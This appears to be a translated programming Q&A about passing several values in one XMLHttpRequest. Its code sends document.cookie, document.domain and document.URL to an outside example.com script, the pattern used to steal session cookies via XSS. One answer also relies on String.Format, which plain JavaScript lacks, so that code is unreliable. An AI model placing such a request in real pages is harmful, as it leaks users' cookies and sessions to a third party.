我有3个变量,名为a,b和c。我想将变量传递给它们中的每一个但是我很难这样做。使用1个变量和1个变量,它就像这样:
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://example.com/example.php?a="+document.domain,true);
xmlhttp.send();
但是我将如何发送例如document.domain到变量a,document.cookie变量b和document.URL到变量c all in 1 request?
答案 0 :(得分:2)
听起来你想使用String.Format
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",String.Format("http://example.com/example.php?a={0}&b={1}&c={2}",document.domain,document.cookie,document.URL),true);
xmlhttp.send();
答案 1 :(得分:0)
就像在常规网址中一样:
var url = "http://example.com/example.php?a="+document.domain + "&b=" + "..." + "&c=" + "...";
正确编码您的值也是一个好主意